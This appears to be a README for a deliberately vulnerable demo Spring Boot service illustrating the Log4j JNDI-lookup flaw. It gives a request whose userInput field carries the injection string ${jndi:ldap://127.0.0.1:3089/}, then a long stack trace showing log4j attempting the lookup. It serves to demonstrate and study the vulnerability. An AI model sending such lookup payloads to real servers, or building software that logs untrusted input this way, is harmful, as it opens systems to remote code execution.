log4j vulnerability

This demo service shows log4j vulnerability

TODO - Actual call to ldap and loading remote file.

Flow

1. Hit below api, there will be call to jndi lookup.

http://localhost:8080/vulnerability?userInput=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D %24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D = ${jndi:ldap://127.0.0.1:3089/}

https://meyerweb.com/eric/tools/dencoder/

Build

1. Min. java 8
2. Maven 3.5.x
3. Run mvn clean install

Run

1. Import application in your IDE
2. Run "DemoLog4jVulnerabilityApplication"

Usage

Just start the application with the Spring Boot maven plugin (mvn spring-boot:run). The application is running at http://localhost:8080.

API

http://localhost:8080/vulnerability?userInput=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D

This api shows jndi lookup vulnerability Http Method - GET Request

Error

021-12-17 10:40:54,678 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused: connect]
 at com.sun.jndi.ldap.Connection.<init>(Connection.java:245)
 at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
 at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
 at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847)
 at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
 at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
 at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
 at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
 at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
 at javax.naming.InitialContext.lookup(InitialContext.java:417)
 at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
 at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
 at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
 at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
 at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
 at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
 at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
 at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
 at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
 at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
 at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
 at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
 at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
 at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
 at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
 at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
 at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
 at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
 at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
 at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
 at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
 at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
 at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
 at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
 at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
 at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
 at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
 at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
 at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
 at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2034)
 at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1899)
 at org.apache.logging.slf4j.Log4jLogger.info(Log4jLogger.java:184)
 at com.example.demoLog4jVulnerability.ApplicationController.ping(ApplicationController.java:16)
 at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
 at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
 at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
 at java.lang.reflect.Method.invoke(Method.java:498)
 at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
 at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
 at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
 at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
 at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
 at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
 at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)
 at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
 at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
 at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:655)
 at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
 at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
 at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
 at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
 at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
 at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
 at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
 at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
 at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
 at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)
 at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
 at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
 at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
 at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540)
 at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)
 at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
 at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
 at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)
 at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
 at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
 at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895)
 at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1722)
 at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
 at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
 at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
 at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
 at java.lang.Thread.run(Thread.java:748)
Caused by: java.net.ConnectException: Connection refused: connect
 at java.net.DualStackPlainSocketImpl.connect0(Native Method)
 at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:75)
 at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:476)
 at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:218)
 at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:200)
 at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:162)
 at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:394)
 at java.net.Socket.connect(Socket.java:606)
 at java.net.Socket.connect(Socket.java:555)
 at java.net.Socket.<init>(Socket.java:451)
 at java.net.Socket.<init>(Socket.java:228)
 at com.sun.jndi.ldap.Connection.createSocket(Connection.java:382)
 at com.sun.jndi.ldap.Connection.<init>(Connection.java:222)
 ... 92 more